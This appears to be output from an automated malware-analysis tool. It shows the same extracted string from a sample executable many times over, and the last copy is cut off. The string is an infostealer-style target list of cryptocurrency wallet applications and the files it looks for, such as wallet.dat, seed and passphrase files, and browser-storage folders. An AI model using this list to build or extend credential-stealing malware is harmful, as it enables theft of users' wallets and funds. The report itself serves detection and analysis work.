Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 